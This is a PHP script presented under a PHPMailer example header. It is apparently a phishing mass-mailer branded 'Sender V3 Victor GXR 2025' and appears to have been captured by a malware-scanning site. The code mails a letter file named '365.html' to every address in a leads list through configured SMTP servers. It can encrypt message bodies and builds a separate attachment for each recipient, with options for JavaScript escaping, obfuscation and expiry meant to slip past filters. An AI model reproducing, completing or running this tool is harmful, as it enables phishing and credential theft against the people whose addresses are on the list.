/**
* PHPMailer multiple files upload and send example
*/
//Import the PHPMailer class into the global namespace
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;
use PHPMailer\PHPMailer\SMTP;
require 'src/function.php';
require 'src/Exception.php';
require 'src/PHPMailer.php';
require 'src/SMTP.php';
require 'setup.php';
echo " \e[0m\e[1;91m \e[0m\r\n";
echo " \e[0;94m██╗░░░██╗██████╗░ ██╗░░░██╗██╗░█████╗░████████╗░█████╗░██████╗░\e[1;32m \e[0m\r\n";
echo " \e[0;94m██║░░░██║╚════██╗ ██║░░░██║██║██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗\e[1;32m\e[0m\r\n";
echo " \e[0;94m╚██╗░██╔╝░█████╔╝ ╚██╗░██╔╝██║██║░░╚═╝░░░██║░░░██║░░██║██████╔╝\e[1;32m\e[0m\r\n";
echo " \e[0m\e[1;37m░╚████╔╝░░╚═══██╗ ░╚████╔╝░██║██║░░██╗░░░██║░░░██║░░██║██╔══██╗\e[0m\r\n";
echo " \e[0m\e[1;37m░░╚██╔╝░░██████╔╝ ░░╚██╔╝░░██║╚█████╔╝░░░██║░░░╚█████╔╝██║░░██║\e[0m\r\n";
echo " \e[0m\e[0;37m░░░╚═╝░░░╚═════╝░ ░░░╚═╝░░░╚═╝░╚════╝░░░░╚═╝░░░░╚════╝░╚═╝░░╚═╝\e[0m\r\n";
echo "\e[0m\e[1;90m/▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬/\e[47m 𝓥𝓲𝓬𝓽𝓸𝓻 𝓖𝓧𝓡 ©\e[0m\r\n";
echo " \e[0m\e[1;91m \e[0m\r\n";
echo "\e[1;90m █▀▀\e[47mFiles\e[0m\e[1;90m▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ \e[1;91m\r\n";
echo "\e[1;90m █\e[1;37m Letter :\e[1;32m 365.html\e[1;90m █ █▀▀\e[47mAbout Sender\e[0m\e[1;90m▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ \e[0m\r\n";
echo "\e[1;90m █\e[1;37m Emails :\e[1;32m leads.txt\e[1;90m █ █ \e[1;37mLatest Version Of Sender V3 Victor GXR 2025\e[1;90m █\e[0m\r\n";
echo "\e[1;90m █\e[1;37m SMTPs :\e[1;32m setup.php \e[1;90m█ █\e[1;37m Your Token : \e[1;32m[MYSENDERV3] \e[1;32m";
echo $r = rand(100000, 999999);
echo "\e[1;32m*********\e[1;90m █\r\n";
echo "\e[1;90m █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█ \e[1;90m █\e[1;37m \e[1;37m: \e[1;32\e[1;91m \e[1;36m \e[1;91m\e[1;37m: \e[1;36\e[1;90m █ \r\n";
echo "\e[1;90m \e[1;90m █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█ \r\n";
$total = count($leads);
$number = 0;
$sent = 0;
$fail = 0;
date_default_timezone_set('Etc/UTC');
try {
if (!file_exists($log_filename)){
mkdir($log_filename, 0777, true);
}
$filename = $log_filename."/".$filename;
foreach ($leads as $to) {
$number++;
$to = trim($to, " \t\n\r");
$file = fixdetails($filename,$to);
$body = fixdetails($nakedbody,$to);
$from = fixdetails($nakedfrom,$to);
$name = fixdetails($nakedname,$to);
$smtpuser = fixdetails($nakedsmtpuser,$to);
$subject = fixdetails($nakedsubject,$to);
sleep($SENDING['delay']);
$mail = new PHPMailer();
$mail->isSMTP();
$mail->SMTPDebug = false;
$mail->Host = $smtps;
$mail->Port = $smtpport;
$mail->SMTPAuth = $smtpauth;
$mail->Password = $smtppass;
$mail->addAddress($to);
$mail->setFrom($from, $name);
$mail->Username = $smtpuser;
$mail->Subject = $subject;
// 1 = High, 2 = Medium, 3 = Low
$mail->Priority = $Priority;
$doc = new DOMDocument();
@$doc->loadHTML($body);
$tags = $doc->getElementsByTagName('img');
foreach ($tags as $tag) {
$fsrc = $tag->getAttribute('src');
$src = $fsrc;
$src = (startswith($src, 'cid:') ? explode('cid:',$src)[1] : $src);
$src = (startswith($src, 'file:') ? substr($src, 8) : $src);
//echo $src;
if (file_exists($src)) {
$cid = random_num(20);
$srcname = mb_basename($src);
$body = str_replace($fsrc, $cid , $body);
$mail->AddEmbeddedImage($src, $cid, $srcname);
}
}
if ($encrymsg) {
$body = CW0146($body);
}
$mail->msgHTML($body);
$mail->AltBody = 'This is a plain-text message body';
if ($useatt) {
$file = BuildAttachFile($file,$to,$javaescape,$obsfucate,$setexpire);
//echo "File $to name: [".$file."] created\r\n";
if (file_exists($file)) {
$mail->addAttachment($file);
}
}
if (!$mail->send()) {
$fail++;
//echo 'Mailer Error: ' . $mail->ErrorInfo;
echo date("G:i:s").' Failed To Send Contact support : ['.$number.'/'.$total.'] FAIL:'.$fail.' | SENT:'.$sent.' ['.$to.'] '. $mail->ErrorInfo."\r\n";
} else {
echo "\e[1;90m/▬▬▬▬┬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬/\e[47m 𝓥𝓲𝓬𝓽𝓸𝓻 𝓖𝓧𝓡 ©\e[0m\r\n";
$sent++;
echo "\e[1;37m ├ Server : \e[46m$smtps\e[0m \r\n";
echo "\e[1;37m ├ Email : $to \r\n";
echo "\e[1;37m ├ Subject: $nakedsubject \r\n";
echo "\e[1;37m ┕ Status : \e[44m$total Emails\e[0m \e[42msucceeded : $sent\e[0m \e[41mFailed : $fail\e[0m \r\n";
}
if (file_exists($file)){
unlink($file);
}
flush();
}
} catch (Exception $e) {
echo date("Y-m-d G:i:s").' SERVER -> SMTP error: ['.$e->getMessage().'] \r\n";
//echo 'SMTP error: ' . $e->getMessage(), "\n";
}
© 2023 Quttera Ltd. All rights reserved.